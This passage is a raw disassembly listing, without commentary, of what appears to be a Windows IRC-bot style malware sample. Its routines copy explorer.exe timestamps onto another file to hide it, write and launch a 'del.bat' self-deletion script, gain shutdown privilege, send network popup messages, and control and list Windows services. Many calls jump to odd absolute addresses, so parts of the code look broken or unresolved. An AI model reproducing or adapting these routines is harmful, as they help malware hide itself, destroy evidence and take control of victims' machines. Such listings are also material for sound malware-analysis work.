		call	sub_41CD20
		add	esp, 0Ch


loc_418573:				; CODE XREF: sub_4184CC+8Ej
		mov	eax, ebx


loc_418575:				; CODE XREF: sub_4184CC+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_4184CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_418579	proc near		; CODE XREF: sub_4185D3+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_4185B2
		push	ebx
		mov	ebx, edi


loc_418596:				; CODE XREF: sub_418579+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_4185B5
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_418596
		pop	ebx


loc_4185B2:				; CODE XREF: sub_418579+18j
		pop	edi
		pop	esi
		retn
sub_418579	endp


; =============== S U B	R O U T	I N E =======================================



sub_4185B5	proc near		; CODE XREF: sub_418579+25p
					; sub_4185D3+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41DFEC
		cmp	al, 61h
		pop	ecx
		jl	short loc_4185D0
		cmp	al, 7Ah
		jg	short loc_4185D0
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_4185D0:				; CODE XREF: sub_4185B5+Ej
					; sub_4185B5+12j
		xor	eax, eax
		retn
sub_4185B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185D3	proc near		; CODE XREF: sub_415E19+10p
					; ___:00415EEBp

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41C500
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41B9C0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41B9C0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_418579
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_418611:				; CODE XREF: sub_4185D3+B6j
		test	esi, esi
		jle	short loc_41868F
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41DFEC
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41DFEC
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_418687


loc_418637:				; CODE XREF: sub_4185D3+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_4185B5
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_418658
		mov	eax, ecx


loc_418658:				; CODE XREF: sub_4185D3+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_41868B
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41DFEC
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_41DFEC
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_418637


loc_418687:				; CODE XREF: sub_4185D3+62j
		dec	edi
		dec	esi
		jmp	short loc_418611
; ---------------------------------------------------------------------------


loc_41868B:				; CODE XREF: sub_4185D3+8Aj
		xor	eax, eax
		jmp	short loc_418694
; ---------------------------------------------------------------------------


loc_41868F:				; CODE XREF: sub_4185D3+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_418694:				; CODE XREF: sub_4185D3+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4185D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418699	proc near		; CODE XREF: sub_401ACD+66C5p
					; sub_401ACD+76FFp

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		nop
		call	near ptr 26A0E98h
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		nop
		call	near ptr 2800000h
		lea	eax, [ebp+var_100]


loc_4186D2:				; CODE XREF: sub_418699+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_4186DE
		cmp	cl, 9
		jnz	short loc_4186E1


loc_4186DE:				; CODE XREF: sub_418699+3Ej
		inc	eax
		jmp	short loc_4186D2
; ---------------------------------------------------------------------------


loc_4186E1:				; CODE XREF: sub_418699+43j
					; sub_418699+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_4186FB
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_4186E1
		cmp	cl, 21h
		jl	short loc_4186E1


loc_4186FB:				; CODE XREF: sub_418699+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4DB17C
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41C360
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418699	endp


; =============== S U B	R O U T	I N E =======================================



sub_418723	proc near		; CODE XREF: sub_401ACD+2470p
		push	esi
		push	0
		call	dword_4CB9A4
		test	eax, eax
		jz	short loc_41875A
		push	1
		call	dword_4CB9C4
		mov	esi, eax
		test	esi, esi
		jz	short loc_41875A
		push	edi
		push	esi
		nop
		call	near ptr 281055Ah
		push	esi
		mov	edi, eax
		nop
		call	near ptr 2810000h
		call	dword_4CBA28
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41875A:				; CODE XREF: sub_418723+Bj
					; sub_418723+19j
		xor	eax, eax
		pop	esi
		retn
sub_418723	endp


; =============== S U B	R O U T	I N E =======================================



sub_41875E	proc near		; CODE XREF: sub_401ACD+74BFp

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4CB9E0
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_4187DA
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		nop
		call	near ptr 2820000h
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		nop
		call	near ptr 2810E46h
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4CBA30
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4CBA30
		push	ebx
		call	near ptr 2810AB8h
		nop
		push	edi
		nop
		call	near ptr 2680000h
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_4187DC
; ---------------------------------------------------------------------------


loc_4187DA:				; CODE XREF: sub_41875E+16j
		xor	eax, eax


loc_4187DC:				; CODE XREF: sub_41875E+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41875E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4187E0	proc near		; CODE XREF: ___:00401433p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4CBA90
		test	eax, eax
		jz	short loc_41887F
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4270F8
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41887F
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		nop
		call	near ptr 2830000h
		push	ebx
		mov	ebx, dword_427070
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41887F
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	near ptr 2820819h
		nop
		push	esi
		call	ebx


loc_41887F:				; CODE XREF: sub_4187E0+2Aj
					; sub_4187E0+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4187E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_418884	proc near		; CODE XREF: sub_401ACD+1682p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4CB914
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418884	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4188A6	proc near		; CODE XREF: sub_401ACD+270Ep
					; ___:00416C12p

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_429090, esi
		push	edi
		jz	short loc_4188CA
		cmp	dword_4CBAA4, esi
		jnz	short loc_4188CA
		push	esi
		call	sub_401000
		pop	ecx


loc_4188CA:				; CODE XREF: sub_4188A6+13j
					; sub_4188A6+1Bj
		call	sub_40B583
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		nop
		call	near ptr 26C0000h
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 2740000h
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_418A2A
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		nop
		call	near ptr 2730000h
		push	edi
		call	near ptr 2680000h
		nop
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_43DB88
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	near ptr 26B05ACh
		nop
		push	eax
		call	near ptr 2690000h
		nop
		lea	eax, [ebp+var_15C]
		push	eax
		nop
		call	near ptr 26B04AAh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4189D2
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		nop
		call	near ptr 26B0382h


loc_4189D2:				; CODE XREF: sub_4188A6+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		nop
		call	near ptr 2840000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	near ptr 2680369h
		nop


loc_418A2A:				; CODE XREF: sub_4188A6+72j
		pop	edi
		pop	esi
		leave
		retn
sub_4188A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A2E	proc near		; CODE XREF: sub_401ACD+7133p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	near ptr 26F057Eh
		nop
		cmp	[ebp+var_84], 2
		jnz	short loc_418AC4
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4CB954
		push	edi
		push	eax
		call	dword_4CB964
		test	eax, eax
		jz	short loc_418AB6
		push	[ebp+arg_10]
		push	offset dword_4394FC


loc_418A8F:				; CODE XREF: sub_418A2E+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h
		jmp	short loc_418AEE
; ---------------------------------------------------------------------------


loc_418AB6:				; CODE XREF: sub_418A2E+57j
		call	near ptr 26A0E98h
		nop
		push	eax
		push	offset unk_4394D4
		jmp	short loc_418A8F
; ---------------------------------------------------------------------------


loc_418AC4:				; CODE XREF: sub_418A2E+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_4394A4
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 1Ch


loc_418AEE:				; CODE XREF: sub_418A2E+86j
		pop	edi
		leave
		retn
sub_418A2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418AF1	proc near		; CODE XREF: sub_401ACD+551Cp

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		nop
		call	near ptr 26F057Eh
		cmp	[ebp+var_90], 4
		jnz	short loc_418B47
		cmp	[ebp+var_8C], 0
		jnz	short loc_418B30
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_418B47
		leave
		retn
; ---------------------------------------------------------------------------


loc_418B30:				; CODE XREF: sub_418AF1+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_418B42
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_418B47


loc_418B42:				; CODE XREF: sub_418AF1+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_418B47:				; CODE XREF: sub_418AF1+27j
					; sub_418AF1+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		nop
		call	near ptr 26D0000h
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		nop
		call	near ptr 26D0414h
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41E0D4
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41E0D4
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41E0D4
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41E0B7
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		call	near ptr 27C07E1h
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_418AF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BD1	proc near		; CODE XREF: sub_40111D+F7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		nop
		call	near ptr 26B0E28h
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_4276E0
		call	sub_41D174
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418BD1	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C0E	proc near		; CODE XREF: sub_401ACD:loc_406021p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_418C66
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_439520[esi]
		push	edi
		push	eax
		call	sub_418C88
		add	esp, 14h
		test	eax, eax
		jnz	short loc_418C56
		push	edi
		push	off_43951C[esi]
		push	offset unk_439630


loc_418C46:				; CODE XREF: sub_418C0E+56j
		mov	esi, offset dword_4DBA40
		push	esi
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_418C83
; ---------------------------------------------------------------------------


loc_418C56:				; CODE XREF: sub_418C0E+2Aj
		push	eax
		call	sub_418D2A
		pop	ecx
		push	eax
		push	edi
		push	offset unk_439604
		jmp	short loc_418C46
; ---------------------------------------------------------------------------


loc_418C66:				; CODE XREF: sub_418C0E+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4DBA40
		push	off_439518[eax*4]
		push	offset unk_4395E0
		push	esi
		call	sub_41C266
		add	esp, 0Ch


loc_418C83:				; CODE XREF: sub_418C0E+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_418C0E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C88	proc near		; CODE XREF: sub_418C0E+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4CB9C8
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_418CAF
		call	near ptr 26A0E98h
		nop
		mov	ebx, eax
		jmp	short loc_418D24
; ---------------------------------------------------------------------------


loc_418CAF:				; CODE XREF: sub_418C88+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4CB8B0
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_418CCF
		nop
		call	near ptr 26A0E98h
		mov	ebx, eax
		jmp	short loc_418D1C
; ---------------------------------------------------------------------------


loc_418CCF:				; CODE XREF: sub_418C88+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_418D02
		cmp	eax, 3
		jz	short loc_418CF3
		jle	short loc_418D15
		cmp	eax, 6
		jg	short loc_418D15
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4CB91C
		jmp	short loc_418D09
; ---------------------------------------------------------------------------


loc_418CF3:				; CODE XREF: sub_418C88+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4CB8B8
		jmp	short loc_418D09
; ---------------------------------------------------------------------------


loc_418D02:				; CODE XREF: sub_418C88+4Dj
		push	esi
		call	dword_4CB920


loc_418D09:				; CODE XREF: sub_418C88+69j
					; sub_418C88+78j
		test	eax, eax
		jnz	short loc_418D15
		nop
		call	near ptr 26A0E98h
		mov	ebx, eax


loc_418D15:				; CODE XREF: sub_418C88+54j
					; sub_418C88+59j ...
		push	esi
		call	dword_4CB8CC


loc_418D1C:				; CODE XREF: sub_418C88+45j
		push	edi
		call	dword_4CB8CC
		pop	esi


loc_418D24:				; CODE XREF: sub_418C88+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_418C88	endp


; =============== S U B	R O U T	I N E =======================================



sub_418D2A	proc near		; CODE XREF: sub_418C0E+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_418DDF
		jz	loc_418DD8
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_418DA2
		jz	short loc_418D98
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_418D8E
		dec	ecx
		dec	ecx
		jz	short loc_418D84
		dec	ecx
		jz	short loc_418D7A
		sub	ecx, 51h
		jz	short loc_418D70
		sub	ecx, 24h
		jnz	loc_418E55	; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D70:				; CODE XREF: sub_418D2A+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D7A:				; CODE XREF: sub_418D2A+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D84:				; CODE XREF: sub_418D2A+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D8E:				; CODE XREF: sub_418D2A+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D98:				; CODE XREF: sub_418D2A+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418DA2:				; CODE XREF: sub_418D2A+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_418DD1
		dec	ecx
		jz	short loc_418DCA
		dec	ecx
		jz	short loc_418DC3
		dec	ecx
		jnz	loc_418E55	; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418DC3:				; CODE XREF: sub_418D2A+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DCA:				; CODE XREF: sub_418D2A+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DD1:				; CODE XREF: sub_418D2A+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DD8:				; CODE XREF: sub_418D2A+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DDF:				; CODE XREF: sub_418D2A+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_418E55 ; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		jz	short loc_418E42
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_418E55 ; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_418E96[ecx]
		jmp	off_418E6E[ecx*4] ; switch jump


loc_418E03:				; DATA XREF: ___:off_418E6Eo
		push	offset aTheSpecifiedDa ; jumptable 00418DFC case 7
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E0A:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceDepe ; jumptable 00418DFC case 17
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E11:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceDe_0 ; jumptable 00418DFC case 10
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E18:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceHasB ; jumptable 00418DFC case 0
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E1F:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheSpecified_0 ; jumptable 00418DFC case 2
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E26:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceCoul ; jumptable 00418DFC case 11
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E2D:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceHa_0 ; jumptable 00418DFC case 14
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E34:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheRequested_1 ; jumptable 00418DFC case 3
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E3B:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceHasN ; jumptable 00418DFC case 4
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E42:				; CODE XREF: sub_418D2A+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_418E47:				; CODE XREF: sub_418D2A+41j
					; sub_418D2A+4Bj ...
		push	offset dword_4DB380
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_418E68
; ---------------------------------------------------------------------------


loc_418E55:				; CODE XREF: sub_418D2A+36j
					; sub_418D2A+89j ...
		push	eax		; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4DB380
		call	sub_41C266
		add	esp, 0Ch


loc_418E68:				; CODE XREF: sub_418D2A+129j
		mov	eax, offset dword_4DB380
		retn
sub_418D2A	endp

; ---------------------------------------------------------------------------
off_418E6E	dd offset loc_418E18	; DATA XREF: sub_418D2A+D2r
		dd offset loc_418E1F	; jump table for switch	statement
		dd offset loc_418E34
		dd offset loc_418E3B
		dd offset loc_418E03
		dd offset loc_418E11
		dd offset loc_418E26
		dd offset loc_418E2D
		dd offset loc_418E0A
		dd offset loc_418E55
byte_418E96	db	0,     9,     1,     2 ; DATA XREF: sub_418D2A+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EA8	proc near		; CODE XREF: sub_401ACD+44D6p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4CB9C8
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_418EE0:				; CODE XREF: sub_418EA8+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4CB994
